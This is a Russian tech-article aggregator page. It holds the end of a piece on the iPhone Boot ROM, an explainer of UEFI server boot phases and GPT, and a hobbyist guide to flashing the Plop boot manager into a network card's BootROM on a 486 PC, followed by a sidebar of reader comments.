Если все прошло успешно, тонаступает заключительный этап работы Boot ROM. Создается функция-трамплин, позволяющая выполнить безусловный переход кначалу iBoot. Поскольку никакая информация недолжна быть передана наследующую стадию запуска устройства, иневозможно былобы вернуться назад, перед прыжком функции-трамплина сбрасываются значения регистров, отключается кэширование, прерывания, таймеры ит.д.
iBoot начнет свою работу практически счистого листа, словно онпервый вэтой цепочке.

Наэтом все. Вследующей части мыпопробуем разобраться как работает второй этап загрузки iPhone iBoot.

Спасибо за внимание.


Источники:

Apple: Boot process for iOS and iPad devices
Apple: Hardware security overview
Design & Reuse: Method for Booting ARM Based Multi-Core SoCs
Maxim integrated: Power-on reset and related supervisory functions
The iPhone wiki
ARM: Documentation
Jonathan Levin: MacOS and *OS internals
Wikipedia
Алиса Шевченко: iBoot address space
Harry Moulton: Inside XNU Series
Ilhan Raja: checkra1n
Texas Instruments: Push-Button Circuit
iFixit: iPhone 12 and 12 Pro Teardown
Исходные коды SecureROM и iBoot, утекшие в сеть в феврале 2018 года

Подробнее..

Как запускается сервер UEFI

27.08.2020 18:04:37 | Автор: admin

Ранее мы уже разбирали последовательность запуска сервера на примере устаревшего Legacy. Настало время познакомиться с UEFI поближе.

Первая версия того, что сейчас известно как Unified Extensive Firmware Interface (UEFI), разрабатывалась в 90-е годы прошлого тысячелетия специально под системы на Intel Itanium и называлась Intel Boot Initiative, а позже EFI.

Желание обновить процесс загрузки было ожидаемо. PC-BIOS, именуемый ныне Legacy, предлагает работать в 16-битном real mode, адресует всего 1 МБ оперативной памяти, а загрузчик вместе с таблицей разделов должен размещаться в первых 512 байтах накопителя. Более того, PC-BIOS передает управление первому найденному загрузчику без возможности возврата назад. При этом обработку случаев с несколькими операционными системами возлагают на плечи загрузчика.

Ограничение на размер загрузчика диктует использование разметки Master Boot Record (MBR), появившийся в 1983 году. MBR не стандартизирован, однако множество производителей придерживаются сложившихся традиций. У MBR есть серьезные ограничения: по умолчанию поддерживается только 4 раздела и объем накопителя не более 2.2 ТБ.

В декабре 2000 года была выпущена первая широко распространенная спецификация EFI под версией 1.02. Спустя пять лет Intel передали EFI в UEFI Forum, добавив Unified в название, чтобы подчеркнуть изменения. Спецификация UEFI лежит в открытом доступе и состоит из нескольких документов:

  • ACPI Specification;
  • UEFI Specification;
  • UEFI Shell Specification;
  • UEFI Platform Initialization Specification;
  • UEFI Platform Initialization Distribution Packaging Specification.

Самое интересное начинается в UEFI Platform Initialization Specification, где описываются все фазы загрузки платформы.

UEFI универсален, но в данной статье мы будем опираться на стандарт, поглядывая в сторону процессоров на архитектуре x86_64.

Wake up, Neo!


Последовательность фаз загрузки UEFI (источник UEFI Platform Initialization Specification)
После инициации включения платформы блок питания ждет, пока не завершатся переходные процессы, и после устанавливает сигнал на линию Power_Good. И первым начинает работу не центральный процессор, а автономная подсистема Intel Management Engine (ME) или аналогичная ей AMD Secure Technology (ST). Эта подсистема проводит собственные операции, а затем подготавливает и запускает первое ядро одного процессора, именуемое Bootstrap Processor (BSP).
В соответствии с принятой терминологией ядро/поток процессора здесь и далее будет называться процессором: начальным (bootstrap processor) или прикладным (application processor).
Как и в Legacy, процессор начинает выполнять первую инструкцию в конце адресного пространства по адресу 0xFFFFFFF0. Эта инструкция прыжок на первую фазу инициализации платформы SEC.

Фаза SEC (Security)


В данной фазе должны быть решены следующие задачи:

  • обработка события включения;
  • инициализация достаточного количества памяти для следующей фазы;
  • становление корня доверия системы;
  • передача необходимой информации и управления на следующую фазу.

Процессоры x86_64 запускаются в 16-битном реальном режиме, и в процессе первичной инициализации BSP переводится в 32-битный защищенный режим. Затем происходит обновление микрокода всех доступных процессоров.

Следом происходит обработка события включения. Под этим подразумевается агрегация информации о состояниях оборудования, чтобы на следующей фазе некоторые модули могли сделать выводы о здоровье и общем состоянии платформы.

Во время фазы SEC не происходит инициализация оперативной памяти. Вместо этого свободный кэш процессора помечается как несбрасываемый, и он превращается во временную оперативную память. Такой режим называется no-eviction mode (NEM). В выделенной памяти создается стек, что позволит модулям из следующих фаз использовать стековые языки программирования до инициализации основной оперативной памяти.

Далее происходит инициализация всех прикладных процессоров (Application Processor, AP) с отправкой им специальной последовательности межпроцессорных прерываний (Inter-Processor Interrupt, IPI). Последовательность Init IPI Start-up IPI пробуждает прикладной процессор и запускает на нем самотестирование Built-In Self-Test (BIST). Результаты тестирования записываются и передаются далее для анализа.

В конце фазы Security необходимо найти раздел Boot Firmware Volume (BFV), на котором располагается исполняемый код следующей фазы, а также по возможности найти другие, неосновные, разделы с кодом (Firmware Volume, FV).

Чтобы оправдать название фазы Security и стать корнем доверия, во время выполнения этой фазы код, которому мы планируем передать управление, может быть проверен на отсутствие несанкционированных изменений и вредоносных частей программы.

В конце выполнения SEC собрана следующая информация:

  • размер и адрес Boot Firmware Volume (BFV);
  • размер и адреса других Firmware Volume (FV);
  • размер и адрес временной оперативной памяти;
  • размер и адрес стека.

После чего начинается следующий этап Pre EFI Initialization.

Фаза PEI (Pre EFI Initialization)


Фаза PEI на материнской плате SuperMicro
Задача фазы Pre EFI Initialization заключается в сборе информации о подключенных устройствах и подготовке минимально необходимого количества оборудования для запуска процесса полной инициализации.

По своей задумке фаза PEI должна легковесной, так как память процессорного кэша ограничена. Помимо этого, в фазе PEI может происходить восстановление после сбоя, поэтому есть потребность размещать код фазы PEI в более отказоустойчивом хранилище.

Данная фаза состоит из ядра, называемого PEI Foundation, и подключаемых модулей PEI Module (PEIM). Центральной частью ядра является диспетчер модулей, PEI Dispatcher, который управляет порядком исполнения модулей, а также организует межмодульное взаимодействие (PEIM-to-PEIM Interface, PPI).

Отметим, что фаза SEC исполнялась с флэш-памяти на материнской плате, и только в начале PEI необходимый для этой фазы исполняемый код копируется во временную оперативную память.

Далее к работе приступает PEI Dispatcher. Он запускает PEI модули в конкретном порядке: сначала модули без зависимостей, затем зависящие от первых и так до тех пор, пока модули не закончатся.

Архитектура фазы PEI позволяет разрабатывать собственные модули, которые могут передавать результаты своей деятельности в следующую фазу. Передача информации происходит через специальную структуру данных Hand-off Block (HOB).

В процессе запуска PEI модулей отметим следующие:

  • CPU PEIM инициализация процессоров;
  • Platform PEIM инициализация северного (в т.ч. Memory Controller Hub) и южного (I/O Controller Hub) мостов;
  • Memory Initialization PEIM инициализация основной оперативной памяти и перенос данных из временной памяти в RAM.

Ранее из фазы SEC была получена информация о включении. Если событием включения является S3 Resume, то следом выполняется S3 BootScript, который восстанавливает сохраненное состояние процессоров и всех подключенных устройств, а после передает управление напрямую в ОС.
Состояние S3 (Suspend to RAM) это состояние сна, при котором процессор и часть чипсета отключаются с потерей контекста. При пробуждении из такого состояния процессор начинает выполнение как при обычном включении. Но вместо полной инициализации и прохождения всех тестов система ограничивается восстановлением состояния всех устройств.
При запуске из любого другого состояния управление передается в фазу Driver Execution Environment.

Фаза DXE (Driver eXecution Environment)


Инициализация механизма AHCI в фазе DXE
Задача фазы Driver Execution Environment (DXE) сводится к инициализации оставшихся устройств. К моменту старта фазы DXE процессор и основная память уже готовы к работе, а на драйверы DXE не накладываются строгие ограничения по потребляемым ресурсам.

Аналогично PEI Foundation в данной фазе есть собственное ядро DXE Foundation. Ядро создает необходимые интерфейсы и загружает три вида DXE сервисов:

  • UEFI Boot Services сервисы времени загрузки;
  • UEFI Runtime Services сервисы времени исполнения;
  • DXE Services специальные сервисы, необходимые ядру DXE.

После инициализации сервисов начинает работу DXE Dispatcher. Он находит и загружает DXE драйверы, которые, в свою очередь, завершают инициализацию оборудования.
В UEFI нет специализированной фазы, где оборудование проходит POST (Power-On Self-Test). Вместо этого каждый модуль PEI и DXE фазы проводит свой набор тестов и сообщает об этом с помощью POST-кодов пользователю и с помощью HOB в следующие фазы.
Среди множества загружаемых драйверов на процессорах x86_64 стоит уделить внимание драйверу System Management Mode Init (SMM Init). Этот драйвер подготавливает все для работы режима системного управления (System Management Mode, SMM). SMM это особый привилегированный режим, который позволяет приостановить выполнение текущего кода (в т.ч. операционную систему) и выполнить программу из защищенной области памяти SMRAM в собственном контексте.
Режим SMM неофициально считается кольцом защиты с номером -2. Ядро ОС работает на 0 кольце, а более ограниченные в правах кольца защиты имеют номер от 1 до 3. Официально нулевое кольцо считается наиболее привилегированным. Тем не менее, гипервизор с аппаратной виртуализацией условно называют кольцом -1, а Intel ME и AMD ST кольцом -3.
Дополнительно отметим модуль Compatibility Support Module (CSM), который обеспечивает совместимость с Legacy и позволяет загружать ОС без поддержки UEFI. Позднее мы рассмотрим этот модуль подробнее.

После инициализации всего оборудования наступает время выбора загрузочного устройства.

Фаза BDS (Boot Device Select)


В фазе Boot Device Select реализуется политика загрузки приложений UEFI. Несмотря на то, что это отдельная фаза, все сервисы, включая диспетчера, созданные на фазе DXE, остаются доступны.

Цель фазы BDS сводится к выполнению следующих задач:

  • инициализация консольных устройств;
  • поиск устройств, с которых можно загрузиться;
  • попытка загрузиться с найденных устройств в порядке приоритета.

PCIe BIOS карты расширения LSI
Поиском загружаемых областей на устройствах занимается Boot Manager. На некоторых картах расширения, например, на сетевых картах и RAID-контроллерах, может находиться собственный BIOS, называемый Option ROM, или OpROM. Содержимое OpROM устройств запускаются сразу после обнаружения, а после выполнения управление возвращается в Boot Manager.

Все разделы, на которых находятся загружаемые области, сохраняются в памяти менеджера загрузки и упорядочиваются в соответствии с порядком загрузки. Если ни одного приложения не нашлось, Boot Manager может вызвать диспетчера DXE, на случай если за время поисков диспетчер загрузил дополнительные драйвера и менеджеру загрузки могут открыться новые устройства.

Как отмечалось ранее, использование разметки Master Boot Record накладывает ограничения на размер разделов и их количество на накопителе, а также вызывает определенные неудобства в содержании нескольких операционных систем. Решение всех этих проблем является частью спецификации UEFI GUID Partition Table.

GPT (GUID Partition Table)


GUID Partition Table это стандартизированный формат размещения таблиц разделов, пришедший на смену устаревшей MBR.

Во-первых, GPT использует адресацию логических блоков (Logical Block Addressing, LBA) вместо адресации Цилиндр Головка Сектор (Cylinder, Head, Sector, CHS). Смена способа адресации позволяет GPT работать с накопителями объемом до 9.4 ЗБ (9.4 * 1021 байт) против 2.2 ТБ у MBR.

Во-вторых, таблица разделов претерпела изменения, и теперь в пределах одного накопителя можно создать до 264 разделов, хотя операционные системы поддерживают не более 128 в случае Microsoft Windows и 256 в случае Linux.

В-третьих, каждый раздел имеет свой идентификатор типа, который описывает назначение раздела. Так, например, идентификатор C12A7328-F81F-11D2-BA4B-00A0C93EC93B однозначно указывает на системный раздел EFI (EFI System Partition, ESP), с которого Boot Manager может попробовать загрузить приложение.

При разработке GPT не обошли стороной и совместимость с MBR. Дисковые утилиты могли не распознать GPT диск и затереть его. Чтобы избежать этого, при разметке GPT первые 512 байт заполняются защитной MBR (Protective MBR) разметкой из одного раздела на весь накопитель с системным идентификатором 0xEE. Такой подход позволяет UEFI понимать, что перед ним не настоящий MBR, а старому программному обеспечению без поддержки GPT видеть раздел с данными неизвестного типа.

В GPT отказались от загрузочной области в пользу ESP-разделов, которые распознаются как загрузочные. Boot Manager собирает информацию обо всех ESP на диске, что позволяет без конфликтов иметь несколько загрузчиков на накопителе, по одному на каждый ESP.

Загрузка операционной системы


После опроса всех устройств и поиска загрузочных областей Boot Manager начинает загружать в порядке приоритета загрузки. В общем случае управление передается в UEFI-приложение, которое начинает выполнять свою логику. Однако для систем с совместимостью с Legacy режимом в списке загрузочных областей может найтись накопитель с разметкой MBR и придется обращаться к CSM, модулю поддержки совместимости.

Модуль CSM позволяет запускать операционные системы, которые не поддерживают UEFI. Для загрузки таких ОС модуль CSM эмулирует окружение, в которое попадает классическая ОС:

  • загружает Legacy-драйвер;
  • загружает Legacy BIOS;
  • переводит видеовывод в совместимый с Legacy режим;
  • создает в памяти необходимые для Legacy структуры данных, отсутствующие в UEFI;
  • загружает драйвер CompatibilitySmm для работы SMM в Legacy.

Напомним, что в Legacy-режиме загрузка ОС начинается в 16-битном режиме, в то время как в UEFI все работает в 32-битном режиме. CSM запускает Legacy-загрузчик в 16-битном режиме и при необходимости обеспечивает связь с 32-битными UEFI-драйверами.

Фаза RT (Run Time)


Начало загрузки ОС или Legacy-загрузчика приводит к началу фазы Run Time. В данной фазе все сервисы DXE (кроме UEFI Runtime Services) перестают быть доступны.

Содержимое фазы RT может быть разным. Здесь может быть привычный по Legacy загрузчик ОС например, GRUB2 или Windows Boot Manager, который переводит процессор в 64-битный режим и запускает ОС. Но могут быть и самостоятельные приложения или сразу ядро операционной системы.

Ядро Linux начиная с версии 3.3 при наличии флага CONFIG_EFI_STUB превращается в обычное UEFI-приложение и может быть запущено из UEFI без использования сторонних загрузчиков.

Как и в случае с Legacy, загрузчику или самому ядру необходимо перевести процессор в 64-битный режим, загрузить все драйвера, настроить планировщик и запустить init. Init, в свою очередь, запускает процессы в пространстве пользователя, после чего появляется окно логина в ОС.

Заключение


Загрузка в UEFI это более сложный, но стандартизированный и во многом универсальный процесс. Схожесть с Legacy наблюдается лишь в общих чертах, а дьявол, как известно, кроется в деталях.

Как Вы думаете, как скоро получится полностью уйти от Legacy?
Пишите свое мнение в комментариях.
Подробнее..

Boot manager для 486-го компьютера

27.07.2020 22:10:16 | Автор: admin

Введение


Всё началось с того, что меня несколько расстраивало отсутствие возможности загружаться с дисковода на старой плате Socket 3. CD-приводы в то время ещё не были распространены и разработчики BIOS даже не задумывались о предоставлении такой опции. Да и операционные системы распространялись на дискетах. Чуть позднее, когда ОС (в основном конечно Windows) стало удобнее устанавливать с диска, чем с пары десятков дискет, придумали так называемые загрузочные floppy, содержавшие драйвер дисковода и передававшие ему управление непосредственно. Но это на мой взгляд костыль и некрасиво. Я начал искать более изящное решение и даже в какой-то момент собирался купить SCSI-контроллер за много денег и привод к нему, но нашлась альтернатива.



Plop Boot Manager


Этой альтернативой был Plop. На самом деле я даже не задумывался об использовании загрузчиков, но когда мне сказали про Plop, я решил, что это весьма здравая идея. Он умеет загружаться из кучи источников и загружать практически любые устройства, кроме usb-дисководов. Кроме того, он имеет удобный интерфейс и множество настроек. Подробнее почитать о нём можно на официальном сайте.



Оставалось только решить с чего загружать Plop. Самым очевидным вариантом была дискета, но это снова костыль. А больше компьютер (не считая диска, естественно) ни с чего грузиться и не умеет. И вот тут на помощь пришла, как ни странно, сетевая карта.


BootROM и с чем его едят


Да, да, сетевая карта. Дело в том, что некоторые из них имеют функцию сетевой загрузки с некоторого сервера и для этого несут на себе свой собственный BIOS. В моём случае это карта Realtek rtl8139.



Панелька предназначена для микросхемы памяти объёмом до 64 килобайт. Никто не заставляет записывать именно BootROM, это может быть любой код. Содержимое ПЗУ просто исполняется после загрузки основного BIOS. Так вот, Plop умеет загружаться с сетевой карты, но для этого его нужно подготовить.


Непосредственная настройка и установка


Начнём с конфигурации загрузчика. В этом нам поможет готовая программа, которую можно взять здесь. Я использовал GUI-версию. В ней нужно выбрать бинарный файл, предназначенный для записи в OptionROM. В конфигурации я сразу переключил режим вывода на текстовый (потому что графический сильно тормозил), отключил анимации. Для удобства использования лучше поставить галочки INT19 и Startup Hotkey. Теперь Plop будет загружаться только при нажатии комбинации Ctrl+A, практически как Boot Menu в современных компьютерах. По вкусу можно установить таймер и устройство по умолчанию.



Далее требуется нажать кнопку Configure plpbt.bin и образ готов к подготовке к прошивке. Его нужно сконвертировать в ROM-файл. Для этого потребуется ещё один инструмент c сайта загрузчика. К сожалению он консольный. Параметрами программе нужно передать имя образа, сконфигурированного на предыдущем шаге и имя конечного файла. Так же требуется задать идентификаторы вендора и самого устройства. На сайте уже есть готовый пример для rtl8139. Для других карт идентификаторы можно считать из родного BootROM автоматически с помощью ключа -grabid. Необязательный ключ -nodisable. Без него Plop будет каждый раз при включении предлагать отключить ПЗУ сетевой карты, но нам это не нужно, поскольку меню и так будет загружаться только с сочетанием клавиш.



Теперь можно переходить к прошивке. Я использую программатор MiniPro, но подойдёт любой другой, который поддерживает EEPROM и Flash до 64 килобайт. ПЗУ можно взять 27, 28 или 29 серий нужного объёма. Процесс прошивки проходит как обычно. Выбрать микросхему, выбрать образ и нажать на кнопку записи.



После всех этих действий остаётся вставить микросхему памяти в панельку на карте, а карту вставить в слот на материнской плате. Единственное, возможно потребуется включить BootROM в конфигурации самой карты. Я сделал это с помощью программы для DOS, поставляющейся вместе с драйвером.



Если всё сделано правильно, после определения дисков и флоппи появится строка сообщающая, что BootROM успешно загружен и предложение нажать Ctrl+A для загрузки в меню.
Подробнее..

Категории

Последние комментарии

  • Имя: Макс
    24.08.2022 | 11:28
    Я разраб в IT компании, работаю на арбитражную команду. Мы работаем с приламы и сайтами, при работе замечаются постоянные баны и лаги. Пацаны посоветовали сервис по анализу исходного кода,https://app Подробнее..
  • Имя: 9055410337
    20.08.2022 | 17:41
    поможем пишите в телеграм Подробнее..
  • Имя: sabbat
    17.08.2022 | 20:42
    Охренеть.. это просто шикарная статья, феноменально круто. Большое спасибо за разбор! Надеюсь как-нибудь с тобой связаться для обсуждений чего-либо) Подробнее..
  • Имя: Мария
    09.08.2022 | 14:44
    Добрый день. Если обладаете такой информацией, то подскажите, пожалуйста, где можно найти много-много материала по Yggdrasil и его уязвимостях для написания диплома? Благодарю. Подробнее..
© 2006-2024, personeltest.ru